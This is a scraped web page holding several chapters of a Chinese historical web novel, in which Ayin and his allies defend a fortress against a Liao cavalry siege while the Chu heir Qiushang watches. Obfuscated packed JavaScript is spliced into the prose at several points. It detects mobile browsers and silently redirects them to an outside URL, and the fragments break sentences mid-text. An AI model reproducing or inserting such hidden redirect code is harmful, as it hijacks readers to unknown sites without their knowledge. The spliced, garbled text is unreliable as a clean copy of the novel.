RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12897228|133553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “寨堡之疏忽防守也不是一天两天了,若被打破就重修,若被侵占就夺回,若被楚世子放弃,就先推他上城墙御敌。” “他若有个闪失,我岂不是担当不起。” “阿银先前说了‘有世子坐镇,怕个什么’,其实已经提醒过您,楚世子必然不会袖手旁观,后继有应对法子,公子何必担忧。” 耶律慕又笑,“以前怎么没发现你是个妙人儿,口才好,见识格局大。” 铁匠行礼,“公子莫要笑话我。” “方才那三句甚得我心,若是一一应验了,烦劳铁什长打前锋。” 铁匠回头想想是哪三句,耶律慕徐徐说来:“寨堡若被打破就重修,若被侵占就夺回,若被楚世子放弃,就先推他上城墙御敌。” 直截了当的应对,大快人心。 先不说成不成,这世上又有几人敢把贵客秋上丢出去退敌的? 今晚一下子激发了两个人的熊心豹子胆,做了耶律慕想做又不敢做的事情。 想想也是欢心的啊。 “那我们先退吧,别吵着阿银歇息。”耶律慕带着铁匠走回城墙上,加强防守。 第三个赶到院落的人是谢观微,将到子时。 他是个聪明人,见主家公子这几日的毒针刺痛竟有好转,还活络了双手,推想是阿银用了法子,才让主家公子这般看重阿银。 唤阿银过去帮忙,应是不会错的。 可不凑巧,阿银站在伞下,正与耶律公子说话,似是在商谈事情。谢观微远远行个礼,也不待有人看见,持礼而转身离开。等他再次来请,又不是时候,阿银已睡下,即便施银子给颜娘子,也不见能唤起阿银。 颜娘子轻声对谢观微说:“惹得大人笑话了,阿银连日赶路,累得慌,实在不能怨他。” 谢观微在窗外行礼,朗朗道:“公子唤阿银过去值守,‘夜郎’在职,按时辰发放工钱,夜毕无事,还能有赏银。” 阿银睡在暖炕上,酣然不动。 谢观微说:“此乃汝之职责。” 阿银揉揉眼睛撑起腰身,颜娘子看到窗台上的影子闪动,知道阿银已被说动,连忙进屋给阿银洗漱,顺便塞过一锭银子,悄声说:“陪睡一次加赏银就有五两,挺值当的事儿;要是半夜起了变故,你就丢下楚世子,来保二公子,咱们图个长远的。” 阿银低声,“银子你收着,还欠债两百四十五两。” 出来院中,谢观微竟还贴心的带来披风给阿银御寒,并偕着他一起走向贵宾暖阁。“我见耶律公子唤你说话,可是遇上什么麻烦事儿?” 阿银不答,岔开了话,“谢大人娶妻了么?” 谢观微淡淡道:“未曾,不过有心仪之人。” “谢大人一表人才,身边必是俊秀同辈,不知他们是否想娶妻?” 谢观微依然淡淡:“不想。” “莫非出入楚王府就得打光棍?” 谢观微立刻驻足,温颜说道:“小郎君或许不知,我等恪尽职守,到了合适时机,可请世子配婚。” “这个合适时机……是何种时机?” “比如建立功勋受嘉奖时。” “你家世子勋业彪炳千古,也不见他有妻子。”阿银掐指一算,“易经八卦伏羲批,姻缘推算有三起——按理说,他应有三个妻子。” “这话,你敢在公子面前说么?” 阿银不屑,“所以府里一顺儿剩下男的。”他将披风拉下,丢回谢观微手里,施施然走向灯火辉煌处,“跟他混没妻运,我劝你们正经些。” 21.忍痛 暖阁热馨萦身,光彩温度都适宜,躺在床上的秋上,却苦捱痛楚,了无睡意。 门板上毕剥响两声,接着是谢观微落落大方的声音,向屋里秉告,因实在担忧公子宿疾,便斗胆请阿银来内阁值守,他退向门外以策庭院安全。 秋上冷冷道:“不见。” 阿银用裁纸刀拨开门栓径直走了进去,撩开纱帐瞧了瞧秋上周身,见他凝眉,知是忍痛到极致,说道:“有什么吩咐直接发落吧,我困得很。” 秋上未作理会。 阿银用手摸了摸床面,暖煦煦的,脸上很快拂过一丝受用的表情,然后还尝试着推了推秋上已然僵硬的腰身,没推动,作罢,顺着脚踏伏睡过去。 听着一阵低微的均匀呼吸声,秋上发现,阿银真的睡着了,就在主人忍受剧痛之际。 所以说,谢观微是专程把人叫来给他添堵的? 秋上拍醒阿银,“回去睡,这里床窄。” 阿银今晚数次被唤醒,心情很不悦,“你家微官儿非要我来,还给了订金,若要我回去,赔我双数。” “多少?” “十两。” “桌上墨盒取两张金漆片,足以值当。” 阿银万般不情愿起身,抽开墨盒底部,见到金灿灿的叶片子,突想起,秋上曾用这些金漆给他浇灌了照身帖,赐他一个非奴身份。 待他还是很好的。 阿银放还墨盒,走回床头,站在脚踏上,直勾勾看着秋上,“双针游走于双腿中,有几成痛?” “此时还是十成。” “我有一法子可舒缓痛楚,您是想假手于我呢,还是外面的谢大人?” “唤他进来。” 阿银将谢观微请进门,并嘱咐了一些准备物件。 谢观微唤仆从火速备齐。 阿银背对床阁,向谢观微声传针灸走穴、推赶经络的法子,不用说,秋上忍住了一时之痛,嘴角不曾溢出一点点细碎气息,照旧用肉身硬扛。 这套手法下来的便利就是,秋上不用痛上如往常那般长久,大大缩短了吃痛的时辰。 局部的一些小隐痛就不在话下了。 只不过两根针还是不能取出来,一是时势不允许,二是下肢比双手复杂,今晚容不得有闪失。如果换个宽松的环境,身边又有神医助阵,阿银才觉得十拿九稳。 说白了,就是今时不似过往,阿银知道秋上此人的作用无可代替,不敢胡搅蛮干,让秋上一命归了西。 阿银说完了缓痛法子,坐在八宝锦缎桌前,依然是背对床阁——不唐突他人的距离。实在是无聊赖,他勾过来一个香薰筒,铺上隔热的缎布,搂着热烘烘的取暖物,趴桌上又睡着了。 床阁前垂下了纱幔,遮挡光线,暗香渺渺,热熏温度适宜。 里面的谢观微正忙,先要褪下公子主的下身衣裤,帮他清理伤口,再依照阿银法子热灸、推赶经络。经过一阵忙活,已经取得了缓痛的效果。 谢观微打来热水给秋上洗漱、擦拭身体。 秋上坐在床上,透过纱幔,看着阿银趴睡得安稳的背影。 他那完全是对主家公子兼上级的态度,淡漠、目空一切。 所谓的夜值,就是一个人睡得踏实,当然,他本想抢占秋上的一半床铺,被撵走了。 秋上擦去了冷汗,整理好衣装,被推车送到桌前。 他穿着雪白的素袍,夹领撑在瘦挑的锁骨上,露出了一片绸缎似的皮肤,是白皙,紧致的,也带有大病初愈后的苍白感。 秋上坐得文雅且笔直,就这样安静地看着阿银。 阿银在他的注视下,缓缓睁开眼睛。 于是秋上就看到了意料中的流银般划过的炫眸光彩。 阿银知他有话要说了,这个觉,至此为止,已经睡不成了。 秋上抬手给阿银斟了一杯热茶,“夷离堇列队来袭,你打算怎样做?” “我上城墙防御。” “守城么?” “兼带守人。” “耶律二?” “是的。” “我才是你的主家,你将我置于何地?” “置于暖阁内。” “为何?” “听我的话,别出来,躺赢。” “没了我,那城外的千军万马,你能调度?” “你果然是要调军队过来围剿。” 那看来这座寨堡就是个靶子,吸引夷离堇等割据势力过来打,秋上再从外围调兵实行口袋包抄围剿。 这个打法很平常,尔虞我诈也是兵家常有之事,阿银佩服的是,秋上敢孤身涉险,用自身做筹码,吸引夷离堇来抢;还能与外界断绝消息联系的情况下,将调度、行军、埋伏、一举收包袱的环节步骤,安排得严丝合缝,让时间上前后相继互不耽误正事。 “时候已到,推我去城楼。”最后秋上下令。 阿银先打包了一些物件,用包袱背在身上,再唤外庭巡防的谢观微,加上过来帮忙又力气大的铁匠,三人齐心合力,通过绞索台架,将秋上送到高高的城墙上。 秋上坐在垛口后,双目粼粼,巡视底下原野。 谢观微展开两床薄毯,给秋上掖好胸口及两肋下,动作轻柔又熟练。 阿银也没闲着,撑起青布大伞,将伞插进轮车座轴上,替秋上遮挡风雪。 铁匠走过来,将阿银唤到一旁,与他低声商量着,等会儿敌人攻过来,怎样做才是最稳妥的。 阿银回道:“‘拖’字诀。” 铁匠连忙再加防守,吩咐部曲兵丁赶紧搬来火油、石块、滚球等等御件囤在墙角边。 耶律慕还真是听话的主儿,上得墙来,与各方人见礼,最后就站在了阿银身边。 阿银唤他后退几步,到雉堞旁隐藏下身形,以免被敌人掷枪、飞箭误伤,他也从善如流,乖乖听从阿银的指派,躲到了角落里。 秋上忍不住转脸朝他们这边瞥了一眼。 夷离堇还未发动总攻前,这墙头防御的指挥权,实际已由耶律慕亲自交与铁匠与阿银手上,可见耶律慕是真的很相信阿银,甚至连阿银的出身、背景来历、是否藏了祸心,耶律慕都不去求证——这事儿如果换到秋上跟前,是万万做不来的。 他没有耶律慕那样的相信阿银。在大索阅貌未查档之前,秋上是审慎地对待阿银。 并且,他有先见之明,对谢观微提点过,万一,哪怕是微乎其微的机会,夷离堇真的攻下了这座寨堡,需要提防做事诡谲、不按章法出牌的阿银,因为到了那时,如果我是阿银,也会想着把秋上这个人扣押做人质,将他推出去,换取整座寨堡的安宁。 谢观微略有惊异,“小郎君……不至于这般心狠手辣罢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12912569|133553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >秋上未说其他,就简短发令,“上了城墙,须提防他。” 于是,谢观微就站在彀轮旁,隔开了阿银与自家公子的距离。 子时一刻过,寨堡外走马道上,笔直行来两彪人马,左手执铁骨朵,右手举长明火把,气势汹汹奔向了原野上的正门前。 门前有护城河,宽约四五丈,河水夹杂雪泥淌过,水深不可目测。 吊桥早已收起,寨堡城头彩旗肃立,木挡竹盾革牌等屏障悉数升起,遮挡了辽兵的视线。在他们看不见的城楼瞭台里,摆放着盛火的铜锡鼎,燹火舞动,映照出嶙峋的檐角和四周青黑的天光。 辽兵有些见地,知道这座寨堡靠城高水深为依仗,背抵火漆盆,采用的不过是些火攻石砸的路子。 他们并不怕。 因为护城河的水域足够宽绰,依目测距离,火球石块不见得能砸到跟前。 于是喧嚣如故。 城头的耶律慕架起望镜,就着底下夜行军的火把光亮,仔细打量。这些骑兵头戴铆接银盔,身着锦襜银甲,背负镶银胡觮箭袋,一看就是装备精良的。他想弄清楚,夷离堇是否亲自前来,身边铁匠也在问:“公子瞧见了大王未?” 耶律慕回道:“大王没来,派了亲信宣武将过来冲锋,那个骑高马、戴凤翅红兜鍪的便是。” 铁青问:“若是宣武将来,这事还有转圜的余地么?” 耶律慕将望镜递给铁青,说道:“铁什长看仔细些,这些人是夷离堇大帐中的重骑,个个骁勇善战,派遣过来,是为了连城拔寨。” 正说着,宣武将手持夷离堇的帐书,大声宣读,讨檄耶律慕与外贼勾结,坏我盐场要务,动摇海津根本,私藏祸心甚重……云云。一顶顶大帽子扣在耶律慕头上,让他不自觉摸了摸自戴的银貂帽,觉得这顶保暖又富贵的帽子才是最好的。 铁青用望镜看仔细了宣武将的站位,弯腰提起两枚裹了油蜡的火毬,对耶律慕说:“野外游猎总得打个名目,我给公子指路。” 只听见耳边呼过去噌噌两声,那两枚燃烧的火毬,带着铁匠二十多年练就的臂力,直罩宣武将面目扑去。由于力道太过猛烈,以至于在雪空里猎出了滚滚火迹。 宣武将惊喝一声,身边的骑兵颇有见地,齐齐避开火毬。 铁青二话不说,又提起火毬链子,站在城墙上旋转助力,再狠狠砸击了几枚过去。不说雪地里被砸出深坑,就是辽军重骑都被撂倒了两个。 他那可怕的力量,终于让辽军见识到了,仅凭护城河之距离,不足以让他们安全驻足观望。 于是一声令下急退。 耶律慕挽弓激射。 铁青用火毬招呼城下,即是给耶律慕的箭路扫清障碍,还为他张了火光照明。 耶律慕几箭追击过去,射到一人马股,还射中了一名骑兵后背,人与马均有作战经验,并未狼狈逃窜,而是随着队伍部列有序撤离,站在了安全射程内。 黑黢黢的原野上,突然只剩下了滚刀般的风声。 寨堡守兵伸出个脑袋在垛口处细细观望,小声问:“大王退兵了么?” 铁青将他的脑袋按下去,“哪有这般容易的事情,方才的交锋,只是小小试探。”不出意外的话,辽兵正在组织队列开始第一波的攻击。 果然,辽军的火把齐齐熄灭,战马纷纷打了响鼻,然后一切归于寂静。 22.壁上观 雪风凛冽,谢观微背负箭囊,如擎天楠木一般,守护在轮椅车旁。 阿银瞥了一眼,发觉谢观微的肩胛骨比常人高,且腰部紧瘦,一袭锦袍勾勒出他的宽肩窄腰好身材,应是长年练习骑射而造成的沉稳外形。 阿银转头问:“谢大人目力如何?” 谢观微知他话意,利落答道:“开三石弓,目力及射程能达百丈外。” 这是让阿银心起敬意的力量和水平,他恭声道:“一会儿我给您点火。” 谢观微略微侧脸看向自家公子的反应,见是默许,便从皮革弓囊中取出一柄珠光色的银弓,挽在了手臂上。 玄武胎弓,重见原野江湖。 几百年流传下来的神兵利器,用燕牛角作腹片,青牛筋作背裹,增强了箭羽激射时的弹力。若是擅射者用它,借助利器之便,最大力道几乎可达四百斤。 阿银打量一眼这柄泛着柔和珠色的长弓,知道谢观微说得客气,其内在实力可能更大。 许久沉默观战的秋上,趁火鼎点燃了油火,说道:“重骑攻城,贪快求散,正门坚硬,必舍弃而逐它方。” 正门沉厚,难以攻取,敌人进犯,通常寻找第二个突破口,占据最高点,希图扭转局势。 阿银也是这般想的,对谢观微说:“谢大人,我们换个地方。” 谢观微当然是守在轮椅车旁一动也不动的,阿银请耶律慕搭把手,合两人之力推走了秋上。 谢观微只得跟上。 外城道口上,寨堡主人、贵客、指挥者均改变了站位,拉动城内警示响铃,其余的部曲、守卒在铁青的调度下,立刻分作两处,屏气凝神,等待反击。 阿银看似随步而走,却偏偏卡住了城道上必经隘口,然后停下来做好一切准备。 不久,隆隆轮声响彻原野,随着缓慢的行进,两架精铁皮革、铁板块木打造的壕桥车,如吞噬黑暗的牛口巨兽,分左右两路朝护城河攻来。 步卒躲在钢铁挡板之后,转动机括,折叠的铁木桥缓缓伸开,搭在了寨堡那边的护城河岸上。现在,只要骑兵和跳荡队刀手顺利过桥,就能迅速接近寨堡外墙,实行强攻之势。 辽兵头顶盾牌,前抵挡板,从两架壕桥车上各分成两批次渡河。 寨堡守兵倾其所有,砸下油泼罐与火毬等物,延缓了辽兵过桥速度。 耶律慕着急打量战况,见夷离堇骑兵艰难行进,抻着队形,不改剽悍风骨,着实为自己捏了一把汗。再看那被火油泼溅的骑兵,毫不犹豫的,推开隔档板,跳入护城河中,想泅水上岸。 但他们未曾料到,寨堡指挥者是懂得因势度利、擅用地形的。他亲自摸查过护城河,知道身强体壮的人可以游过来,于是大胆布防,在两处易受攻击的隘口河段,均倒入了黏稠的油脂。 为了促使油脂凝而不散,发挥最大作用,守卒从城墙内壁的暗凿穴口,伸出排管,导向早先挖好的沟渠,继续倾倒猛火油。 火上浇油就是这般打法。 眼下,正强行过桥的,与泅水渡河的,毫无差别受到了火烧油烹,顿时惨烈的叫声凛凛传向夜空外。 阿银抓住时机点火,除了烧烫一排的油泼罐道,还给谢观微换上雹头箭,裹上火油,与他打配合,重箭扑射壕桥车上的缝隙处——总有骑兵经受不住天降滚油,脱离了队形跳入河水中,就给天幕般的甲盾防阵,撕开了缺口。 阿银不知另外一处隘口险情如何,在他这边,有一个谢观微就足够百发百中。 目前辽兵陷落在护城河上,还未攻上岸。 然而,火油箭矢撞石等物总有消耗殆尽的时候,到那时,骑兵上岸,夷离堇再增兵奔袭,寨堡就难有喘息和备战的机会。 这个道理,手握整个局势的人不会不懂。但阿银逡眼看过去,秋上作壁上观,对城外的嘶喊与惨烈无动于衷,依然是最为气定神闲的一个。 他侧颜凝淡,衣袂在风中都未曾翩跹扑闪过,如此稳当且澹漠,让阿银在一瞬间生生克制住自己,不朝他下黑手。 攻城战如火如荼,他曾暗示的援兵还未见到影儿。阿银也不是坐以待毙的人,干脆撇下秋上这边,唤几个勇卒守在轮椅车两旁,帮助谢观微谢大人点火和照应贵客。 阿银身形纤长且瘦削,带着耶律慕下到了城墙暗壁里,左右走动来去自如。耶律慕为了不挡他的道儿,留在瞭望口外接应。 城外的惨叫声转为契丹语的咒骂,阿银听得分明,知道骁勇骑兵还是攻过了护城河,正在组织后继兵力进行第二波的攻击。 辽兵拔帐之前,通过典狱林秀君,大致了解了寨堡的外围布置及城池高度等,便派步卒、工匠压阵走在后,推来了能进攻高城的器械。 继骑兵渡河之后,推过去的是双钩车、冲竿等物,看这排兵布阵,确系拿出了正规军连城拔寨的作战法。就算是出自辽本部的显贵耶律慕,在这之前也未见识过大军压境的攻防战,纸上谈兵倒是有过几次。 为此,他很是担忧,以己之力能不能守住寨堡。好在投奔来了铁青,而铁什长看起来隐隐带有将军风骨,做事沉稳而坚毅。他人一来,就请示耶律慕加强城防,对内调度寨民的后勤供应,再组织农夫挖沟渠、凿开暗穴以备蹬天梯的打法,甚至亲自带人打铁,赶制了大铁铰、易燃耐烧的火毬等物,着实让耶律慕开张了眼目。 所以耶律慕才欣然接受了铁青来堡,给他一方庇护。再后来,贵客秋上与佐驾阿银一起前来拜访寨堡,无疑又给耶律慕增加了助力。耶律慕还听得铁青讲过,最为熟悉辽军大大小小打法的人是阿银,因为阿银曾流落高丽国,参与守城战与反击战,最终将辽军逼退,帮助大宋匡扶了藩属王室。 所以说,教给铁青这些巡查、调防、挖掘、开凿、搭墙头油罐加热槽等一套套方法的,还是那个娟冷的小郎君,看似万般不在意,独来独往似幽浮,却无人能探得到他的虚实。 既然铁青都说了,小郎君阿银能护公子周全,耶律慕还有什么不信的,从善如流跟在小郎君身后,依他指令行事。 比如现在的第二阶段相持战,小郎君的预判与准备都一一应验了。 站在瞭望口外的耶律慕庆幸,进寨堡的这两个人来得及时,帮他解决了兵燹之灾、困兽之围、烈战之急。 至于这当口,夷离堇为什么发兵来打他,实则上是受到了秋上牵连,也被他权作贵客起局之邀而忽略不计了。 墙外突地轰隆一撞,震得砖石传来回响,牵转了耶律慕的思绪。他定睛瞧去,小郎君侧耳听了一下,清瘦的背影站在夹道里,声音无比清晰,“外头上钩车了,各位哥子涨些眼力,给二公子压压阵脚!” 透过瞭望口,里面的人都可观察到,当火油燃尽,撞石渐稀,无法再对壕桥车或是泅水渡河的骑兵造成威胁时,他们便推来双钩车重击墙体,破坏墙头防御工事,再利用冲竿跳荡,强行攻上城头,占据制高点进行反扑。 寨堡里的人,能打能用的,已全数在这座城墙上,若是短兵相接,草台班子肯定尽数会毁在重骑屠刀之手。登上城墙后,辽国骑兵会展开第三波攻击,给后继兵力溯源开道。 因此第二波攻防战的关键,是不能让骑兵借助器械登上高墙。 辽军这边出动的是壕桥车、双钩车、冲竿等,其中的双钩车最为霸道。它经过改良,分为上中下三层,下层是厢车,内藏猛士,车壁由生牛皮加固,外面再围上挡板屏障。中层为云梯,可以上下人,送他们攀援墙壁,精钢黄铜浇筑的转轴关节附在云梯顶,举起两支铁臂抓钩,寒气森森的,左一下右一下抓剐墙头掩体,将它们扯得分崩离析,也为云梯上的本部兵士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12924551|133553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张戾气。 此次阿银要对付的,便是这个庞然大物。他站在瞭望口前,手拉索道铜铃来传令,以声音的缓急与震动的次数来调整作战的协同性。 轰隆隆的响声,间歇撞打墙壁,那是钩车抵达寨堡外墙前,先举起骇人的钩抓,敲击砖石,露出了一个又一个的破洞,给冲锋兵卒找蹬踏,从气焰上压倒守备的。 阿银牵绳猛拉一下,铜铃声大作,暴突如瀑。 守备们识得声令,从先凿的暗穴里,推出第一根粗壮木头,末端安装铁钩,一把勾住云梯的架子,让它不能后退。紧跟着又是一阵激荡铃声,第二根合抱之木被推出来,顶着云梯使它不便前进。梯上的辽人一被冲击,掉入下面的车厢里。第三根木头及时出现,末端镶嵌了一盏盏火笼,阿银手持火箭弩弓射出,将它们一一点燃,猛火油之神威再次升腾起,生生烧断了云梯,使得双钩车没了登高的助力。 火势越烧越旺,墙头上还有守卒天泼油脂,彻底废了双钩车的打城、升高之作用。 辽国骑兵咒骂连连,沿着城墙根散开,欲寻其他的突破口。 有刀盾手利用冲竿越墙攀爬的,可惜城高砖沉,不易一时找到缺口。如果他们将壕桥车垫底再寻冲锋的沿墙线路,墙头的守卒便会使坏,用叉竿推倒刀手,还向下招呼礌石与滚木,又收拣了一波咒骂声。 渐渐的,投砸物变稀少了,似乎有些难以为继。 于是辽人改变策略,推来壕桥车作底盘,竖起两把长梯,将双钩车车厢拆卸开来作挡板,顶着上面的丢砸,安排工匠等人垒起土袋、木板等,做一条蹬道。在他们忙乎工事时,寨堡外原野又有滚滚人马来到,隔着幽暗的雪夜,凭风声用契丹语互相通传消息。 “增兵到了。”城里的耶律慕都听得明白,无奈所依仗的贵客秋上,还稳坐城台,未曾发落一句下来。 攻城的辽兵就更有势头。 觉察到蹬道已经垒得差不多了,敢死队刀盾手再上。这时只听到瓮声的一句“起!”似乎是从城墙内传来的命令,紧接着墙体齐齐推出很多方砖,砸在他们肉身上。 这还不是最厉害的。 一柄柄炫黑的大铁铰剪突地从暗穴里直冲出来,对着刀手的腰部就是咔嚓一下,将他们剪成两截! 这一下别说惨叫,就连惊呼声都没吼干净,尸身就齐齐滚落下来,泼染了整条蹬道。 刀手被绞断几个后,剩下的人纷纷跳下蹬道,招呼骑兵朝后退。 大铁铰在冷风中咔嚓咔嚓咬合个不停,如同巨兽的铜牙铁齿,在撕咬猎物,看着着实有些吓人。 辽兵三次进攻均未占得一丝一毫的便利,甚至在战场上未取得一点先机,处处被寨堡的人压着打,令他们光火大起。 观战的总领兵宣武将心想,这座寨子的主人是耶律慕,盛传在外的风头是长得俏,用美色侍奉太后,才讨到头下军州节度使虚职。公子哥一个,没什么大本事,像这种指挥作战打反击的,显然不是他的手笔。 那么寨子里,应该有个军师,且很了解他们打法的军师,将时间与步骤控制得分毫不差。 这会儿再冲击,不知对方还有什么阴招后路,宣武将思索一下,连忙下令骑兵与刀手撤退,齐齐奔至黑暗中,与后来的那批增兵汇合。 “大王的兵退了!”守备们齐齐欢呼。 耶律慕依然站在瞭望口后,朝阿银的背影恭敬抬手作揖,“多谢小郎君施以援手。” “二公子高兴得太早了。”阿银淡淡说,“所储之物已然用尽,再过一刻,大彪人马识得城内虚实,必然会发起总攻。” 耶律慕心下恻然,“那依您之见,后继该如何?” 阿银未答,一步步登阶走向城头。 耶律慕醒悟,最终的结局捏住了谁手上,也拾级而上。 23.割爱 雪停,风驻,细末的雪霰扑散在轮椅车大青伞上,有些冰珠滚落下来,砸在秋上的手边,他的手指是僵硬而冰冷的,未见血色,只余苍白。 阿银走到他车边,一言不发,垂眼看他。谢观微挽弓于臂,未搭箭,以示为礼,但警觉地站在了一侧。 城头上顿时如原野上的风雪,喑哑而压抑。 耶律慕满心忐忑,步伐犹是沉重,从阿银身后越过,到车前长揖礼,“如是前奉丝帛,幸得世子端持玉尺,因而有意结为同盟。如今我已倾其所有对将一战,倘若大王夜袭军再来犯,孤堡难保全。” 秋上当然看见了城池攻防的辛烈与残酷,耗费物资巨大,后勤补给已告罄,待天明光亮大张时,这座寨堡就如同最后的阱栏,一一暴露在猎人的张牙舞爪下。 自上得城来,各路人马的动静皆汇集在他眼下。他作壁上观,看到了辽兵的攻战打法,寨堡的兵力不足,所依赖铁匠与阿银两位大胆设防、提前准备而扭转了局势。 他看得足够多,了解各个环节的薄弱就更透彻; 只是令他没想到的是,阿银指挥这场战役,竟能三出奇计破敌,将时间拖得足够长久。若说援军赶至,这会儿应该已经到了。 可是并没有。 难免城上人惶惶不可见翌日。 耶律慕站在近前,看见秋上眉眼皆索然,鼻直而唇淡,坚毅的侧脸无任何静水微澜的起伏,心里猛然一动,思索楚世子恶名在外,曾有“一人覆灭一国”的彪炳史迹,我这寨堡,远小于军国,在他按兵不动时,又如何能自保?若他发兵来打,从后方推进,席卷夷离堇原野之军,包举寨堡的残兵败将,不就是坐山观虎斗,将最大好处尽收囊中? 耶律慕想得冷汗渗背,非常懊恼为何不曾提前发招,如今被架在火上烤,左右难有作为。 秋上看着风雪齐喑的夜空,冷淡道:“不信我,尽可出手,或能殊死一搏。” 他这话是对耶律慕说的,看穿的却是在场所有人的心。 耶律慕心悸痛得猛的一缩,被这生杀予夺的话语撞出涔涔冷汗。 紧接着第二句冰冷的丢过来了,“我若取你,何必大费周章?” 就在耶律慕惊疑不定,不知如何接话时,阿银弯腰用指背轻轻碰了碰秋上的手,“宵寒湿气重,世子您在失温,不如移驾暖阁?” 秋上不置可否,阿银自作主张,将锦衾围拥住秋上手臂,替他掖好边角,对一旁虎目眈眈的谢观微毫不在意。 秋上唇色回暖,“你推我回去。” 耶律慕正待开口,阿银向他递了一眼风,立刻使他会意地后退一步,将万般的焦急与困惑压下。 阿银请另一名守卒帮忙,助他推行秋上下城。 耶律慕这才注意到,楚世子的臂膀还留在了城墙上,想必是主家公子已经有了交代下来,让谢观微来执行随后的步骤。 耶律慕至此才明白,为何空气骤冷,百人悚立无敢声张时,是阿银轻言细语斡旋了局势。 于是他赶紧走向谢观微,恭敬作揖,“有请谢大人发令。” 机杼扎扎而响,送下来轮椅车。 阿银与帮手推着秋上回到贵宾阁。 室内烧着地火龙,熏香渺渺,淡雅不腻,是个温暖舒适的好去处。 帮手待贵客安顿好,听阿银低语一句“去请颜娘子来”,虽不明就里,也立刻去偏院,将今夜前后事由交付给炎颜,回去城头驻守。 暖阁内,因贵客不喜奴婢伺候,故而未曾配备司床侍女等,阿银一踏进寝室,随便张望两眼就想溜。 “游离。”竟然有冷清而疏离的声音在唤他名字。 阿银回头背门而立,“又有何事?” 秋上点点嵌玉桌案,示意他过来说话。 阿银推知城头之事已成定局,就是不知秋上这会儿留他,想葫芦里卖什么药,于是徐步走来。“您还冷么?” 秋上自然是冷的,但寻常的错漏于他而言,只是小小磋磨,他要的是掌控全局。 “我有几句话问你,你如实答。” “诺。” 不知为何,秋上从围拥的锦衾下,拈出一张薄薄的金漆片,扣在了案上,语声变得随和,“今夜当值,扰你睡梦,先前你向我埋怨,这些就作赔礼。” 如此礼贤下士的态度,让阿银遽尔明白,这是拿钱买他说实话。 秋上一双墨黑的眸子尽是攫取了阿银的炫瞳,直直投注冷静气儿进去,瞧着他,阿银也不易说假。 阿银未取金而垂睫,“问吧。” “假若我不派援军,那耶律二总得有法子退兵?” “实则无,只等阖城倾覆。” “如你是他,又当如何处置?” “岂敢在公子面前班门弄斧。” “照直说,少打机锋。” “我信公子您,必不弃攀与之人。” 三言两语下,秋上未曾套出话。前数他预料到了,阿银与他所见所逢之人皆是不同,心性深沉,样貌俊雅带阴柔,再朝眉梢眼角打量,还能品出一些叵测的味道。 秋上淡淡道:“你伸手。” 阿银抬眼瞧了瞧秋上,对上的是雪颜静眸,深处有威压。 虽不明何意,阿银还是缓缓递出自己的手掌,似是托着一面冰玉片砚,颜色莹白得闪眼。 秋上依旧攫住了那双垂落的银瞳,眼风柔中带刚,细细读取那内里的流光波澜。自身用冰冷的手指压住了阿银的脉门,使了两成力,开始问:“我唤你‘游离’,为何反应那般生冷?” 阿银想都不想,径直抽手,没想到秋上先他一步,改指法为抓,紧紧握住了他的手腕。 一瞬间,秋上觉得阿银的手腕未免过于纤细,再用拇指反扣腕下的脉络,把出的也是细脉起落无力,气虚中带有寒湿。 阿银见秋上不放手,还在替他号脉,内心有些紧张,故意放缓了血脉的流淌。 他凝着声音问:“可以了么?” 秋上握住阿银的手腕不放,将它搁置在桌上,几乎是把持着那只纤瘦的手,让手之主人与他靠近了距离,咫尺可闻双方的气息。 秋上道:“不喜游离那名儿?” “是的。” “你家大大所取的名,为何不喜?” “他要我作世外之人,许我不问世情,可如今国破家亡,我还能逍遥度日吗?” 提及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12938847|133553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到忌讳的字眼,阿银的眼睫就垂落了下来,紧抿了唇角,可见他隐藏的情绪。 秋上握腕未放,“以我之见,你这名极好,观你行止娴熟,处处遵从大人意。” 若说行止娴熟,那就是随心所欲之泛泛,处事自专由了吧? 这话说得,啧,一股怪味儿。阿银抬起眼眸,不觉察就撞进了秋上的视野里,只见他克制的冷静。 阿银叹口气,“您说话都这样戳心窝子么?” 秋上手上加力,“我中意的,便是你寡情薄意无所顾忌。” “……” “就叫游离。” “好罢。” “照身帖可在身上?” 游离试着抽出手腕,秋上未加阻拦。 他取出绢丝袋里的照身帖,双手递过。秋上将它正面搁在桌上,推到游离眼前。 游离好好的瞧了一眼。 竹片上的正楷字,此时才能悟出主人家的苦心。 姓氏:游离; 生辰:太祖乾德三年; 职事:夜郎; 